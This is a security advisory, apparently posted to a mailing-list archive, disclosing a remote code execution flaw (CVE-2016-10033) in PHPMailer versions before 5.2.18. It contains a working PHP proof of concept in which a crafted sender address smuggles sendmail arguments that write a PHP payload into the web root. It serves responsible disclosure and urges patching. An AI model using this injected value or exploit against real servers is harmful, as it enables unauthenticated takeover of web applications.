PHPMailer < 5.2.18 Remote Code Execution [updated advisory] [CVE-2016-10033] Dec 27 2016 12:07PM
Dawid Golunski (dawid legalhackers com)
PHPMailer < 5.2.18 Remote Code Execution

Here's an updated version of the advisory with more details + simple PoC.

Still incomplete. There will be more updates/exploits soon at:

Dawid Golunski
t: @dawid_golunski

__ __ __ __ __
/ / ___ ____ _____ _/ / / / / /___ ______/ /_____ __________
/ / / _ \/ __ `/ __ `/ / / /_/ / __ `/ ___/ //_/ _ \/ ___/ ___/
/ /___/ __/ /_/ / /_/ / / / __ / /_/ / /__/ ,< / __/ / (__ )
/_____/\___/\__, /\__,_/_/ /_/ /_/\__,_/\___/_/|_|\___/_/ /____/

- Discovered by: Dawid Golunski
- dawid[at]

- CVE-2016-10033
- Release date: 25.12.2016
- Last revision: 27.12.2016
- Revision 2.0
- Severity: Critical


PHPMailer < 5.2.18 Remote Code Execution


"PHPMailer continues to be the world's most popular transport class, with an
estimated 9 million users worldwide. Downloads continue at a significant
pace daily."

"Probably the world's most popular code for sending email from PHP!
Used by many open-source projects: WordPress, Drupal, 1CRM, SugarCRM, Yii,
Joomla! and many more"


An independent research uncovered a critical vulnerability in PHPMailer that
could potentially be used by (unauthenticated) remote attackers to achieve
remote arbitrary code execution in the context of the web server user and
remotely compromise the target web application.

To exploit the vulnerability an attacker could target common website
components such as contact/feedback forms, registration forms, password
email resets and others that send out emails with the help of a vulnerable
version of the PHPMailer class.

Note: This revision (2.0) of the advisory, contains more information but
is still incomplete.
Remaining attack vectors/exploits will be disclosed at a later date to allow
more time for patching.


PHPMailer class uses PHP mail() function as its default transport.

The transport is implemented using the function:

protected function mailSend($header, $body)
$toArr = array();
foreach ($this->to as $toaddr) {
$toArr[] = $this->addrFormat($toaddr);
$to = implode(', ', $toArr);

$params = null;
//This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
if (!empty($this->Sender)) {
$params = sprintf('-f%s', $this->Sender);
if ($this->Sender != '' and !ini_get('safe_mode')) {
$old_from = ini_get('sendmail_from');
ini_set('sendmail_from', $this->Sender);
$result = false;
if ($this->SingleTo and count($toArr) > 1) {
foreach ($toArr as $toAddr) {
$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

which essentially passes the arguments shown in the line:

$result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);

to the mail() function with the same set of parameters.

The parameters include the 5th parameter of $params which allows to pass extra
parameters to sendmail binary installed on the system as per PHP documentation
of mail() function:

As can we see from:

$params = sprintf('-f%s', $this->Sender);

PHPMailer uses the Sender variable to build the params string.

The Sender string is normally set with the use of setFrom() method.
which validates the Sender's address:

public function setFrom($address, $name = '', $auto = true)
$address = trim($address);
$name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
// Don't validate now addresses with IDN. Will be done in send().
if (($pos = strrpos($address, '@')) === false or
(!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
!$this->validateAddress($address)) {

The validation would for example reject an address as:

attacker -InjectedParam2

which would prevent injection of additional parameters to Sendmail via the
mail() function.

Further research however shown that the validation is done using the RFC 3696 specification.

The RFC allows emails to contain spaces when quoted with ".
According to the spec, the following email address is valid:

" some test email address with spaces"

The following Sender address:

"Attacker -Param2 -Param3"

would cause PHPMailer/mail() function to execute /usr/bin/sendmail with the
following list of arguments:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker -Param2 -Param3 (at) test (dot) com [email concealed]]

which would not work for the attacker (Param2 and Param3 are passed within
the same argument of argv[3] )

Attackers can however break out of parameter no.3 with some extra escaping.

For example, by injecting an extra sequence of \" after the first argument,
the following Sender email:

"Attacker \" -Param2 -Param3"

when passed to PHPMailer (and eventually to mail()) function would cause
sendmail to execute with:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fAttacker\]
Arg no. 4 == [-Param2]
Arg no. 5 == [-Param3"]

Which as can be seen would inject additional parameters of 4 & 5 to sendmail.

Attackers can exploit this to achieve code execution as shown in the PoC




PHPMailer < 5.2.18 Remote Code Execution (CVE-2016-10033)

Discovered/Coded by:

Dawid Golunski (@dawid_golunski)

Full Advisory URL:

A simple PoC (working on Sendmail MTA)

It will inject the following parameters to sendmail command:

Arg no. 0 == [/usr/sbin/sendmail]
Arg no. 1 == [-t]
Arg no. 2 == [-i]
Arg no. 3 == [-fattacker\]
Arg no. 4 == [-oQ/tmp/]
Arg no. 5 == [-X/var/www/cache/phpcode.php]
Arg no. 6 == [some"]

which will write the transfer log (-X) into /var/www/cache/phpcode.php file.
The resulting file will contain the payload passed in the body of the msg:

09607 <<< --b1_cb4566aa51be9f090d9419163e492306
09607 <<< Content-Type: text/html; charset=us-ascii
09607 <<<
09607 <<< <?php phpinfo(); ?>
09607 <<<
09607 <<<
09607 <<<
09607 <<< --b1_cb4566aa51be9f090d9419163e492306--

See the full advisory URL for details.


// Attacker's input coming from untrusted source such as $_GET , $_POST etc.
// For example from a Contact form

$email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php some"';
$msg_body = "<?php phpinfo(); ?>";

// ------------------

// mail() param injection via the vulnerability in PHPMailer

$mail = new PHPMailer(); // defaults to using php "mail()"

$mail->SetFrom($email_from, 'Client Name');

$address = "customer_feedback (at) company-X (dot) com [email concealed]";
$mail->AddAddress($address, "Some User");

$mail->Subject = "PHPMailer PoC Exploit CVE-2016-10033";

if(!$mail->Send()) {
echo "Mailer Error: " . $mail->ErrorInfo;
} else {
echo "Message sent!\n";


The researcher also developed an Unauthenticated RCE exploit for a popular
open-source application (deployed on the Internet on more than a million servers)
as a PoC for real-world exploitation. It might be published after the vendor has
fixed the vulnerabilities.

Video PoC:


A successful exploitation could let remote attackers to gain access to
the target server in the context of the web server account which could
lead to a full compromise of the web application.


All versions of PHPMailer before the critical release of 5.2.18 are affected.

Note that exploitation is not limited to systems with Sendmail MTA.


The vulnerability was responsibly disclosed to PHPMailer vendor.
The vendor released a critical security release of PHPMailer 5.2.18 to fix the
issue as notified at:

CVE MITRE assigned the following ID to this vulnerability:


Users should urgently update to the patched release.


This advisory:

Video PoC:

Exploit code:
Simple PoC shown above is available here:

Other exploits with other attack vectors will be disclosed at a later date to
allow more time for patching.


PHPMailer / Vendor security updates / notices:


The vulnerability has been discovered by Dawid Golunski
dawid (at) legalhackers (dot) com


27.12.2016 - Rev 2.0: Disclosure of additional information + Simple PoC

25.12.2016 - Limited advisory released to prompt an urgent update by
affected users before disclosing the details.


The information contained within this advisory is supplied "as-is" with
no warranties or guarantees of fitness of use or otherwise. I accept no
responsibility for any damage caused by the use or misuse of this information.

[ reply ]


Privacy Statement
Copyright 2010, SecurityFocus